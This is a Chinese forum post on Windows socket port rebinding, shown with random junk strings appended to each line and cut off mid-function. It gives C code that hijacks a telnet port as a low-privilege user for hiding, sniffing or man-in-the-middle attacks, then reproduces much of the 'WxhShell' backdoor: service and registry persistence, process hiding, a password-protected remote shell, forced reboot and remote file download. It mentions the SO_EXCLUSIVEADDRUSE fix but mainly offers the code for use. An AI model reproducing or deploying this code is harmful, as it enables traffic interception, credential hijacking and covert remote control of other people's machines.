社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14657阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wKh4|Ka  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); alJ)^OSIe  
QP==?g3  
  saddr.sin_family = AF_INET; _ >?\DgjH  
xh-o}8*n"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z9f-.72"X  
1}+3dB_s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (le9q5Qr.  
Bg=wKwc8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =}^9 wP  
AD> e?u  
  这意味着什么?意味着可以进行如下的攻击: uo:J\E  
U)TUOwF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 299H$$WS,Z  
g @Z))M+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b1q"!+8y  
j8i[ONq^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >IafUy  
te`$%NRl  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  AF{\6<m  
yZ7&b&2nLn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (y'hyJo  
Y;eZ9|Ht9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b)#hSjWO#  
-:^U_FL8un  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n)/z0n!\  
ZmqKQO  
  #include \<h0Q,e  
  #include -/B+T>[nTb  
  #include Z3e| UAif  
  #include    /V8 #[9K  
  DWORD WINAPI ClientThread(LPVOID lpParam);   yqs4[C  
  int main() ,oe <  
  { u]wZQl#-  
  WORD wVersionRequested; T  wB}l  
  DWORD ret; ~%F9%=  
  WSADATA wsaData; !.$I["/=  
  BOOL val; 9)yJ: N#F  
  SOCKADDR_IN saddr; .~db4d]  
  SOCKADDR_IN scaddr; KM0ru  
  int err; X56q-|  
  SOCKET s; wo}H'Q}Hj  
  SOCKET sc; }v;V=%N+v  
  int caddsize; '6`3(TK.a  
  HANDLE mt; _{O>v\u  
  DWORD tid;   3Aip}<1  
  wVersionRequested = MAKEWORD( 2, 2 ); Mexk~z A^  
  err = WSAStartup( wVersionRequested, &wsaData ); sjTZF-  
  if ( err != 0 ) { S>+|OCl";  
  printf("error!WSAStartup failed!\n"); phkwN}6  
  return -1; ^#-l q)  
  } [^n.Pns  
  saddr.sin_family = AF_INET; D8Ic?:iX[  
   Z#jZRNU%ox  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pQ">UL*  
iU918!!N   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LP^$AAy  
  saddr.sin_port = htons(23); z kP_6T09  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )}R0Y=e  
  { yN0Vr\r2  
  printf("error!socket failed!\n"); ]! &FKy  
  return -1; }Bh8=F3O Q  
  } :VBV&l` [  
  val = TRUE; w/<L Ag  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s+Pq&<nV-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "^[ 'y7i  
  { bP#:Oi0v`  
  printf("error!setsockopt failed!\n"); pX<`+t[  
  return -1; atH*5X6d  
  } 7"D", 1h  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]%SH>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {W`%g^Z|H  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _ye |Y  
XX!%RE`M8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q$UJ$ 7=f8  
  { Ny7S  
  ret=GetLastError(); 5I;&mW`1,`  
  printf("error!bind failed!\n"); /<k/7TF`  
  return -1; (/YHk`v2  
  } 0o4XUW   
  listen(s,2); k'Hs}zeNn  
  while(1) &B;~  
  { ;d$rdFA_  
  caddsize = sizeof(scaddr); qq`4<0I>  
  //接受连接请求 octL"t8w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bs&43Ae  
  if(sc!=INVALID_SOCKET) }K>d+6qk5  
  { dDMJ'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @{e}4s?7od  
  if(mt==NULL) FUzzB94a  
  { 1\m[$Gs:  
  printf("Thread Creat Failed!\n"); b_krk\e@S  
  break; aKDKmHd  
  } ;1=1:S8  
  } <=&`ZH   
  CloseHandle(mt); e"cXun4nS=  
  } R^fPIv`q  
  closesocket(s); uMv,zO5  
  WSACleanup(); bWS&Yk(  
  return 0; J{<X 7uB  
  }   CxmKz78  
  DWORD WINAPI ClientThread(LPVOID lpParam) :Ov6_x]*  
  { z6P$pqyF  
  SOCKET ss = (SOCKET)lpParam; *a^(vo   
  SOCKET sc; B mb0cF Q  
  unsigned char buf[4096]; V &T~zh1  
  SOCKADDR_IN saddr; m7V/zne  
  long num; w.o@7|B1N  
  DWORD val; W i.& e  
  DWORD ret; VGN5<?PrN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >6-`}G+|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hfB%`x#akQ  
  saddr.sin_family = AF_INET; .V<+v-h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $wa{~'  
  saddr.sin_port = htons(23); E&w7GZNt  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I 34>X`[o  
  { a-tmq]]E  
  printf("error!socket failed!\n"); G.B2('  
  return -1; }>|s=uGW  
  }  /maJtX'  
  val = 100; W@IQ^ }E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,qwuLBW  
  { MN>b7O \.?  
  ret = GetLastError(); 9=tIz  
  return -1; d-ko ^Y0  
  } `}\ "Aw c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8Fh)eha9f  
  { >'$Mp<  
  ret = GetLastError(); Y@iS_lR  
  return -1; &-w Cvp7  
  } tOD6&<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3}1u\(Mf  
  { (9 d&  
  printf("error!socket connect failed!\n"); BlO<PMmhT&  
  closesocket(sc); .{^5X)  
  closesocket(ss); ^\% (,KNo  
  return -1; 9FR5Jw>t  
  } N"R]Yp;j  
  while(1) wlvgg  
  { @HCVmg:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ajT*/L!0_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .P]+? %&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @mBQ?; qlK  
  num = recv(ss,buf,4096,0); Y=KTeYW`  
  if(num>0) UkC!1Jy  
  send(sc,buf,num,0); T-L||yE,h  
  else if(num==0) vr l-$ii  
  break; X?',n 1  
  num = recv(sc,buf,4096,0); l)\! .X  
  if(num>0) Fm 2AEs\  
  send(ss,buf,num,0); +sA2WK]  
  else if(num==0) |df Pki{  
  break; BO&bmfp7,  
  } 3hH<T.@)  
  closesocket(ss); =nS3p6>rZ  
  closesocket(sc); #!# l45p6  
  return 0 ; gf@:R'$:+  
  } B9 uoVcW  
WH}y"W  
]m<$}  
========================================================== I236 RIq  
 (ZizuHC  
下边附上一个代码,,WXhSHELL F>l] 9!P|m  
?l )[7LR4  
========================================================== !pW0qX\1n  
reWot&;  
#include "stdafx.h" ^x,YW]AS}  
)akoa,#%6c  
#include <stdio.h> t:Q*gW Rh  
#include <string.h> 8<.Oq4ku  
#include <windows.h> Il 'fL'3  
#include <winsock2.h> t*u:hex  
#include <winsvc.h> +6\Zj)  
#include <urlmon.h> n\53wh@+  
4VSU8tK|N]  
#pragma comment (lib, "Ws2_32.lib") ;^*W+,4WB  
#pragma comment (lib, "urlmon.lib") *)Zdz9E'1(  
f6Ah6tb  
#define MAX_USER   100 // 最大客户端连接数 x;d6vBTUb  
#define BUF_SOCK   200 // sock buffer 6{b >p+U  
#define KEY_BUFF   255 // 输入 buffer n>YKa)|W`  
NLqzi%s  
#define REBOOT     0   // 重启 T5h H  
#define SHUTDOWN   1   // 关机 4[e X e$  
zF<R'XP  
#define DEF_PORT   5000 // 监听端口 @9s$4DS  
H{wl% G  
#define REG_LEN     16   // 注册表键长度 L4HI0Mx  
#define SVC_LEN     80   // NT服务名长度 /4Gt{yg Sr  
*] X'( /b_  
// 从dll定义API lo+A%\1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :F?C)F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4B.*g-L   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tD)J*]G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ga+dt  
y)@wjH{6  
// wxhshell配置信息 K0>zxqY  
struct WSCFG { o+'6`g'8  
  int ws_port;         // 监听端口 {wKB;?fUvk  
  char ws_passstr[REG_LEN]; // 口令 {<KVx9  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?caSb =f  
  char ws_regname[REG_LEN]; // 注册表键名 [W&T(%(W-  
  char ws_svcname[REG_LEN]; // 服务名 S9.o/mr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4pvMd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hgq;`_;1,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~DwpoeYX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e^voW"?%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <5051U Eu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2+XA X:YD  
<P_-s*b  
}; WyiQoN'q  
|6- nbj  
// default Wxhshell configuration 2>%=U~5  
struct WSCFG wscfg={DEF_PORT, HRA|q  
    "xuhuanlingzhe", <hyKu  
    1, GbI/4<)l}  
    "Wxhshell", a7opCmL  
    "Wxhshell", !nnC3y{G  
            "WxhShell Service", > (<f 0  
    "Wrsky Windows CmdShell Service", $& c*'3  
    "Please Input Your Password: ", *.[. {qG(  
  1, 'w aaw_>b  
  "http://www.wrsky.com/wxhshell.exe", \FaP|28h  
  "Wxhshell.exe" @0''k  
    }; jP.dDYc  
8s@3hXD&  
// 消息定义模块 >t+P(*u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !N^@4*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [a(#1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xmoxZW:  
char *msg_ws_ext="\n\rExit."; :3 mh@[V  
char *msg_ws_end="\n\rQuit."; +}AI@+  
char *msg_ws_boot="\n\rReboot..."; pb,d'z\S  
char *msg_ws_poff="\n\rShutdown..."; ]SEZaT  
char *msg_ws_down="\n\rSave to "; sI2^Qp@O1  
Ewz!O`  
char *msg_ws_err="\n\rErr!"; %hP^%'G  
char *msg_ws_ok="\n\rOK!"; d'> x(Yi  
QJ;2ZN,  
char ExeFile[MAX_PATH]; t uX|\X  
int nUser = 0; ueNS='+m  
HANDLE handles[MAX_USER]; *un^u-;  
int OsIsNt; pxi3PY?  
#'}*dy/  
SERVICE_STATUS       serviceStatus; :`sUt1Fw.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h68 xet;  
HzJz+ x:  
// 函数声明 ]?4hyN   
int Install(void); -Y8B~@]P?  
int Uninstall(void); Fr-SvsNFB  
int DownloadFile(char *sURL, SOCKET wsh); 3so %gvY.'  
int Boot(int flag); l]SX@zTb  
void HideProc(void); *4 n)  
int GetOsVer(void); r JB}qYD  
int Wxhshell(SOCKET wsl); Z_NCD`i;  
void TalkWithClient(void *cs); 6]wIG$j  
int CmdShell(SOCKET sock); ,esmV-  
int StartFromService(void); ar,7S&s H  
int StartWxhshell(LPSTR lpCmdLine); \U_@S.  
5h*p\cl!Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {;oPLr+Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J}t%p(mb  
%TqC/c  
// 数据结构和表定义 6eCCmIdaM  
SERVICE_TABLE_ENTRY DispatchTable[] = <UCl@5g&  
{ /wG2vE8e  
{wscfg.ws_svcname, NTServiceMain}, '+ ?X  
{NULL, NULL} O6Y0XL  
}; :T~  [  
cwL_tq  
// 自我安装 Q2> gU#  
int Install(void) 7HWmCaa[  
{ []T8k9g/-  
  char svExeFile[MAX_PATH]; *zLMpL_  
  HKEY key; 5r0YA IJ  
  strcpy(svExeFile,ExeFile); lhJ'bYI  
30{ gI0jk  
// 如果是win9x系统,修改注册表设为自启动 p ll)Y  
if(!OsIsNt) { $[|mGae  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *1"+%Z^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =~gvZV-<  
  RegCloseKey(key); a'T;x`b8U,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dr"1s-D4IQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x1a:u  
  RegCloseKey(key); f QFk+C  
  return 0; XPPdwTOr  
    } '%;m?t% q  
  } nt<]d\o0  
} d-%hjy3N  
else { @)}L~lb[)  
!x)R=Z/C  
// 如果是NT以上系统,安装为系统服务 (k P9hcV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xD7]C|8o  
if (schSCManager!=0) +`15le`R  
{ *WZA9G#V5  
  SC_HANDLE schService = CreateService 4ppz,L,4  
  ( JGZBL{8  
  schSCManager, I=#$8l.*  
  wscfg.ws_svcname, I+(nu47ZT  
  wscfg.ws_svcdisp, qgB_=Q#E  
  SERVICE_ALL_ACCESS, 9H~n _   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $VR{q6[0S?  
  SERVICE_AUTO_START, i~72bMwsA  
  SERVICE_ERROR_NORMAL, <ZW-QN4  
  svExeFile, XP}<N&j  
  NULL, ~M$Wd2Th  
  NULL, kGJC\{N5N  
  NULL, }B^tL$k  
  NULL, b2*TgnRq  
  NULL E`J@h l$N  
  ); `@%LzeGz  
  if (schService!=0) X-/]IH DN  
  { -RLOD\ZBh  
  CloseServiceHandle(schService); ;@J}}h'y  
  CloseServiceHandle(schSCManager); y>LBl]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @+DX.9  
  strcat(svExeFile,wscfg.ws_svcname); ,)io5nZF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  5twhm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F[MFx^sT{  
  RegCloseKey(key); MfkZ  
  return 0; T>>c2$ x  
    } _dU\JD  
  } Xc.`-J~Il  
  CloseServiceHandle(schSCManager); {G-kNU  
} afk>+4q  
} sRfcF`7  
zeRyL3fnmb  
return 1; }a/Cro.~4  
} @]0%L0u  
(% 9$!v{3  
// 自我卸载 0{mex4  
int Uninstall(void) 5R7DDJk  
{ ('~LMu_  
  HKEY key; @nf`Gw ;  
V6Dbd" i9  
if(!OsIsNt) { tp|d*7^i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $ Q0n  
  RegDeleteValue(key,wscfg.ws_regname); 31)&vf[[  
  RegCloseKey(key); ]'S^]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6B-16  
  RegDeleteValue(key,wscfg.ws_regname); t,' <gI  
  RegCloseKey(key); JtZ7ti  
  return 0; =M-p/uB]  
  } AwN!;t_0+N  
} s^SJY{  
} LQ% `c  
else { t<qiGDJ<d  
nFn5v'g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N g,j#  
if (schSCManager!=0) :EyD+!LJ  
{ E"0>yl)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >d6|^h'0  
  if (schService!=0) mc3"`+o  
  { 4+ig' |o  
  if(DeleteService(schService)!=0) { @ P|y{e6  
  CloseServiceHandle(schService); x"g&#Vq ~  
  CloseServiceHandle(schSCManager); _f{{( 7  
  return 0; j.YA 2mr  
  } 0$njMnB2l  
  CloseServiceHandle(schService); #;<Y[hR{P  
  } F}zDfY\-  
  CloseServiceHandle(schSCManager); pJ{Y lS{  
} <vP=zk  
} ?# fQ~ s  
f!"w5qC^  
return 1; gFh*eCo   
} +h$ 9\  
_-\#i  
// 从指定url下载文件 cZ06Kx..  
int DownloadFile(char *sURL, SOCKET wsh) W8<%[-r  
{ ,vDbp?)'U  
  HRESULT hr; d'2A,B~_*  
char seps[]= "/"; liSmjsk  
char *token; w>YDNOk  
char *file; <uJ@:oWG7  
char myURL[MAX_PATH]; qWw=8Bq  
char myFILE[MAX_PATH]; o(HbGHIP  
yHGADH0B  
strcpy(myURL,sURL); pXUSLs  
  token=strtok(myURL,seps); (#'>(t(4  
  while(token!=NULL) NO3/rJ6-  
  { q*KAk{kR(v  
    file=token; 16 $B>  
  token=strtok(NULL,seps); ;nGa.= "L  
  } o}!PQ#`M  
cu6Opq9  
GetCurrentDirectory(MAX_PATH,myFILE); DrQ`]]jj7  
strcat(myFILE, "\\"); /E>e"tvss  
strcat(myFILE, file); [!z,lY>  
  send(wsh,myFILE,strlen(myFILE),0); u4j5w  
send(wsh,"...",3,0); Q20 %"&Xp]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h\e.e3/  
  if(hr==S_OK) Y0>y8U V  
return 0; *2?@ |<(r  
else &FD>&WRV  
return 1; iB{V^ksU  
]?*wbxU0  
} z:;CX@)*  
ceV}WN19l  
// 系统电源模块 HP =+<]?{G  
int Boot(int flag) 8_8l.!~  
{ =Uh$&m  
  HANDLE hToken; ^s=8!=A(  
  TOKEN_PRIVILEGES tkp; RpF&\x>  
Ned."e  
  if(OsIsNt) { KSvE~h[#+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ys~x $  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *or(1DXP8  
    tkp.PrivilegeCount = 1; ]oxZ77ciL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "fI6Cpc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0mnw{fE8_  
if(flag==REBOOT) { 2|L&DF:G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y 7aqO5  
  return 0; /NlGFO*Z  
} yw!{MO  
else { 2?5>o!C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @VBcJ{e,  
  return 0; "#]$r  
} :0ep( <|;  
  } OnK4] S5  
  else { R8 T x[CJ5  
if(flag==REBOOT) { z}@7'_iJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `g,..Ns-r  
  return 0; Ngwb Q7)  
} WM{=CD  
else { xmX 4qtAL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p[-O( 3Y  
  return 0; G"6 !{4g  
} O}P`P'Y|'  
} *fdTpXa  
KP"+e:a%  
return 1; Rv=YFo[B  
} ;,TFr}p`  
\8 ":]EU  
// win9x进程隐藏模块 Tk>#G{Wb-  
void HideProc(void) @oNXZRg6  
{ GmG 5[?)  
U(Zq= M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9z0p5)]n>  
  if ( hKernel != NULL ) Z.WW(C.  
  { S 5U;#H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _&x%^&{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C}X\|J  
    FreeLibrary(hKernel); n?Q|)2 2  
  } .N3mb6#[R  
@,}UWU  
return; SKtrtm  
} 2/f}S?@   
[Zrr)8A  
// 获取操作系统版本 XG?8s &  
int GetOsVer(void) 9ati`-y2  
{ ~[ F`"  
  OSVERSIONINFO winfo; )1z@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pw#-_  
  GetVersionEx(&winfo); @L`jk+Y0vF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K'xV;r7Nt  
  return 1; S @Y39  
  else 7nSxi+6e  
  return 0; fOHxtHM  
} 5N]"~w*  
9^x> 3Bo  
// 客户端句柄模块 UBs4K*h|  
int Wxhshell(SOCKET wsl) QnDg 6m)+  
{ i@q&5;%%  
  SOCKET wsh; )_:NLo:  
  struct sockaddr_in client; 1cDF!X]  
  DWORD myID; ~rm_vo  
/xQTxh1;K  
  while(nUser<MAX_USER) NRuNKl.v  
{ Fu~j8K  
  int nSize=sizeof(client); o4;(Zi#Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gr{ DWCK  
  if(wsh==INVALID_SOCKET) return 1; z{543~Og59  
ni<(K 0~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~,Qp^"rlW  
if(handles[nUser]==0) E$e5^G9  
  closesocket(wsh); Zfw,7am/  
else *Ly6`HZ9  
  nUser++; 5(2;|I,T  
  } "7 yD0T)2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yu|>t4#GT  
>lm&iF3y  
  return 0; dQvcXl]  
} cl1T8vFM  
:3PH8TL  
// 关闭 socket +t.b` U`-  
void CloseIt(SOCKET wsh) ?M2J wAK5  
{ RFGffA&  
closesocket(wsh); cNrg#Asen&  
nUser--; 54,er$$V  
ExitThread(0); pCDmXB  
} ?0.NIu,,o  
+3gp%`c4  
// 客户端请求句柄 =wJX 0A|  
void TalkWithClient(void *cs) @WhHUd4s  
{ =M1I>  
{:s f7  
  SOCKET wsh=(SOCKET)cs; qK+5NF|  
  char pwd[SVC_LEN]; Sdo-nt  
  char cmd[KEY_BUFF]; A,]h),b  
char chr[1]; l{9Y  
int i,j; _`V'r#Qn  
PnTu  
  while (nUser < MAX_USER) { +q4O D$}  
[^)g%|W  
if(wscfg.ws_passstr) { 0Gk<l{o?^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dr(*T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m 5.Zu.  
  //ZeroMemory(pwd,KEY_BUFF); v19-./H^ j  
      i=0; ]'cs.  
  while(i<SVC_LEN) { gR**@t=;j  
=l6mL+C  
  // 设置超时 #E?4E1bnB  
  fd_set FdRead; %>yL1BeA4  
  struct timeval TimeOut; >?b!QU* a  
  FD_ZERO(&FdRead); #WuBL_nZ~  
  FD_SET(wsh,&FdRead); `uFdwO'DD  
  TimeOut.tv_sec=8; {ax:RUQxy  
  TimeOut.tv_usec=0; wJ]d&::@h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); | Iib|HQ)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^~dWU>  
H|*m$| $,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dM5-;  
  pwd=chr[0]; ,}PgOJZ  
  if(chr[0]==0xd || chr[0]==0xa) { a#4?cEy  
  pwd=0; bOB \--:]  
  break; }EPY^VIw  
  } [GR; ?R5  
  i++; _w{Qtj~s|  
    } KXy6Eno  
$ `c:&  
  // 如果是非法用户,关闭 socket 1x)J[fyId  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sx%[=g+<2(  
} D- c4EV  
#R"*c hLV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9p/Bh$vJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1^}+=~  
 g(052]  
while(1) { f 2.HF@  
 \zkg  
  ZeroMemory(cmd,KEY_BUFF); @- xjfC\d  
^ y::jK  
      // 自动支持客户端 telnet标准   XUYtEf  
  j=0; pkzaNY/q  
  while(j<KEY_BUFF) { x4 yR8n(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WY/}1X9.%  
  cmd[j]=chr[0]; $X6h|?3U,  
  if(chr[0]==0xa || chr[0]==0xd) { }pYqWTG  
  cmd[j]=0; >j/w@Fj  
  break; f?Lw)hMrA  
  } ;'|Ey  
  j++; l;Wj]  
    } 'NmRR]Q9  
~a:  
  // 下载文件 Oz95  
  if(strstr(cmd,"http://")) { NOva'qk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %Zi} MPx  
  if(DownloadFile(cmd,wsh)) $I=~S[p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nKY6[|!#  
  else xEI%D|)<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;`&kZi60Hz  
  } YWLj?+  
  else { wp_0+$?s  
Upe%rC(  
    switch(cmd[0]) { u_enqC3  
  b;n[mk  
  // 帮助 J zl6eo[;  
  case '?': { ,F|f. 7;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p2eGm-Erq  
    break; vzM ^$V  
  } .]^?<bG  
  // 安装 ueudRb  
  case 'i': { G[=c Ss,  
    if(Install()) $i&zex{\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uFE)17E  
    else C Z;6@{ o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y7|EIAU5Y  
    break; w{KavU5W  
    } Hka2  
  // 卸载 L,\Iasv  
  case 'r': { aUp g u"  
    if(Uninstall()) 80I#TA6C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w:0E(z  
    else p{_ " bB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @C$]//;  
    break; s<Ziegmw|g  
    } d=(mw_-?  
  // 显示 wxhshell 所在路径 LoV<:|GTI  
  case 'p': { jp,4h4C^)  
    char svExeFile[MAX_PATH]; K0~rN.C!0  
    strcpy(svExeFile,"\n\r"); ?4,T}@P  
      strcat(svExeFile,ExeFile); 1?}T=)3+$  
        send(wsh,svExeFile,strlen(svExeFile),0); DQ3<$0  
    break; dN q$}  
    } h{Y",7] !  
  // 重启 N7"W{"3D  
  case 'b': { h`q1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s;e\ pt  
    if(Boot(REBOOT)) 3`g^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b}`T Ln  
    else { [JiH\+XLPs  
    closesocket(wsh); <I?Zk80  
    ExitThread(0); -RwE%  cr  
